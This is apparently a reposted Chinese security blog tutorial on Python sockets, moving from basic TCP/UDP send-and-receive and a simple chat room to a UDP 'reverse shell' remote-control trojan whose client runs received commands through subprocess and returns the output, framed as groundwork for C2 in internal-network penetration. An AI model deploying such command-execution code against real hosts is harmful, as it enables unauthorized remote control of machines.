内网通信新突破:掌握Socket远程控制技术

admin 2026-02-06 01:53:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解Socket通信机制与Python实战,涵盖TCP/UDP协议、IP端口标识及关键参数配置。通过代码演进演示数据收发、双向通信及聊天室功能,最终利用subprocess模块实现基于UDP的反弹Shell远程控制。文章为内网渗透提供了网络编程基础与C2木马开发的核心技术路径。 综合评分: 89 文章分类: 内网渗透,红队,安全开发,恶意软件


cover_image

内网通信新突破:掌握Socket远程控制技术

原创

沐青序 沐青序

数字序言

2026年2月5日 08:35 福建

免责声明:本公众号内容仅供网络安全技术学习与合法研究,严禁用于非法用途。使用者须遵守法律法规,因非法使用造成的全部后果自行承担。本公众号及作者不对内容准确性作保证,不承担因此产生的任何损失。如涉及侵权,烦请告知,核实后将立即处理。感谢理解。

套接字(Socket)通信机制

套接字,进程间通信:套接字是进程间通信的一种抽象,用于实现 跨主机或本机 的通信接口。

Socket 的本质:Socket = IP地址 + 端口号 + 协议(TCP/UDP)

Socket 是操作系统为网络通信提供的一种 文件描述符(fd),可以读写数据,就像操作文件一样。

进程间如何通信?

1.我们要如何标识一台主机?–>  IP地址(内网/公网) 2.我们要如何标识唯一进程?  –> PORT端口(常用端口) 3.协议    –>  协议决定了通信双方“说什么语言”“怎么说话”。

套接字通信常用协议:

TCP(面向连接、可靠、传输有序)

UDP(无连接、不可靠、速度快)

主要参数说明

# demo.py

import socket

# s = socket.socket()
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
s.bind(('localhost', 8000))

print(s) &nbsp; &nbsp;# <socket.socket fd=3, family=2, type=1, proto=6, laddr=('127.0.0.1', 8000)>

'''
【最重要的两个参数】
1、family
套接字家族:使用什么样的协议
1. AF_INET ==> IPv4 (默认值)
2. AF_INET6 ==> IPv6
3. AF_UNIX &nbsp;==> UNIX socket

2、type
套接字样式:面向连接、非连接
socket.SOCK_STREAM ==> TCP &nbsp;流套接字
socket.SOCK_DGRAM &nbsp;==> UDP &nbsp;数据报套接字
socket.SOCK_RAW &nbsp; &nbsp;==> 原始套接字
socket.SOCK_RDM &nbsp; &nbsp;==> RDM &nbsp;无连接的套接字
'''

实现数据的一发一收

基础学习

server.py

# server1.py

import&nbsp;socket

s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost',&nbsp;8000))

# print(s)

# 接收数据
# print(s.recv(1024))
print(s.recv(1024).decode()) &nbsp; &nbsp;# bytes

'''
# 函数
.bind() 绑定地址
.recv() 接收数据,会进入阻塞状态
.recvfrom() 接收数据(会带地址),会进入阻塞状态
.send() 发送数据
.sendto() 发送数据(会带地址)
.close() 关闭套接字
.connect() 连接
.accept() 接受连接
.listen() 监听

所有的数据在传输过程中都是字节(bytes)类型

'''

client.py

# client1.py

import&nbsp;socket

c = socket.socket(type=socket.SOCK_DGRAM)
c.connect(('localhost',&nbsp;8000))

# print(c.sendto('hello', ('localhost', 8000))) &nbsp; # 报错,需要编码
# print(c.sendto(b'hello', ('localhost', 8000))) &nbsp; &nbsp;# 编码1
print(c.sendto('hello'.encode(), ('localhost',&nbsp;8000))) &nbsp;# 编码2

'''
# 目前实现了最简单的通信过程,一发一收

渗透过程中很少主动连接对⽅
是通过⽊⻢程序

C2:持续监听,等待⽊⻢连接

# 新问题出来了:对⽅能给我们发消息,我们怎么给对⽅发消息?

'''

优化

服务端/客户端同时发送数据

# server2.py
import&nbsp;socket

s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost',&nbsp;8000))

data, addr = s.recvfrom(1024) &nbsp;&nbsp;# 获取到客户端的地址
print(f'{addr[0]}:{addr[1]}:&nbsp;{data.decode()}') &nbsp;# 127.0.0.1:60955: hello
# 想要数据流通必须要绑定端口,否则无法接收数据,此时他会接收的时候绑定上随机端口

s.sendto(b'word', addr) &nbsp;# 发数据给客户端

=================================================================================

# client2.py
import&nbsp;socket

c = socket.socket(type=socket.SOCK_DGRAM)
c.connect(('localhost',&nbsp;8000))

print(c.sendto(b'hello', ('localhost',&nbsp;8000))) &nbsp;# 发数据给服务端

print(c.recvfrom(1024)) &nbsp; &nbsp;&nbsp;# (b'word', ('127.0.0.1', 8000))

聊天室

# server3.py
import&nbsp;socket

s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost',&nbsp;8000))

while&nbsp;True:
&nbsp; &nbsp; data, addr = s.recvfrom(1024)
&nbsp; &nbsp; print(f'{addr[0]}:{addr[1]}:&nbsp;{data.decode()}')
&nbsp; &nbsp; s.sendto(input('server > ').encode, addr)

===========================================================

# client3.py
import&nbsp;socket

c = socket.socket(type=socket.SOCK_DGRAM)
c.connect(('localhost',&nbsp;8000))

while&nbsp;True:
&nbsp; &nbsp; c.sendto(input('client > ').encode, ('localhost',&nbsp;8000))
&nbsp; &nbsp; print(c.recvfrom(1024))

远控木马实现(反弹shell)

实现client连接后只接收消息

# server4.py
import&nbsp;socket

s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost',&nbsp;8000))

data, addr = s.recvfrom(1024) &nbsp;# 接收客户端数据

while&nbsp;True:
&nbsp; &nbsp; s.sendto(input('server > ').encode(), addr)

================================================================

# client4.py
import&nbsp;socket

c = socket.socket(type=socket.SOCK_DGRAM)

c.sendto(b'client add listen', ('localhost',&nbsp;8000)) &nbsp; &nbsp;&nbsp;# 发数据给服务端,不加服务端会出现bug(相当于初始化操作)

while&nbsp;True:
&nbsp; &nbsp; data, _ = c.recvfrom(1024) &nbsp; &nbsp; &nbsp;# _ 表示地址(已知,置空)
&nbsp; &nbsp; print(data.decode())

'''
实现client连接后只接收消息
'''

反弹shell

# server5.py
import&nbsp;socket

s = socket.socket(socket.AF_INET, type=socket.SOCK_DGRAM)
s.bind(('localhost',&nbsp;8000))

while&nbsp;True:
&nbsp; &nbsp; data, addr = s.recvfrom(10240) &nbsp;# 接收客户端数据
&nbsp; &nbsp; print(f'{addr[0]}:{addr[1]}:&nbsp;{data.decode()}')
&nbsp; &nbsp; s.sendto(input('server > ').encode(), addr)

============================================================

# client5.py
import&nbsp;socket
import&nbsp;subprocess

c = socket.socket(type=socket.SOCK_DGRAM)

c.sendto(b'client add listen', ('localhost',&nbsp;8000)) &nbsp; &nbsp;&nbsp;# 发数据给服务端,不加服务端会出现bug(相当于初始化操作)

while&nbsp;True:
&nbsp; &nbsp; data, _ = c.recvfrom(10240) &nbsp; &nbsp; &nbsp;# _ 表示地址(已知,置空)
&nbsp; &nbsp;&nbsp;# print(subprocess.getoutput(data.decode())) &nbsp;# 运行命令

&nbsp; &nbsp;&nbsp;# 将命令运行结果返回给服务端
&nbsp; &nbsp; cmd = subprocess.getoutput(data.decode()).encode()
&nbsp; &nbsp; c.sendto(cmd, ('localhost',&nbsp;8000))
&nbsp; &nbsp;&nbsp;# c.sendto(subprocess.getoutput(data.decode()).encode(), ('localhost', 8000))


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:数字序言 沐青序 沐青序《内网通信新突破:掌握Socket远程控制技术》

评论:0   参与:  0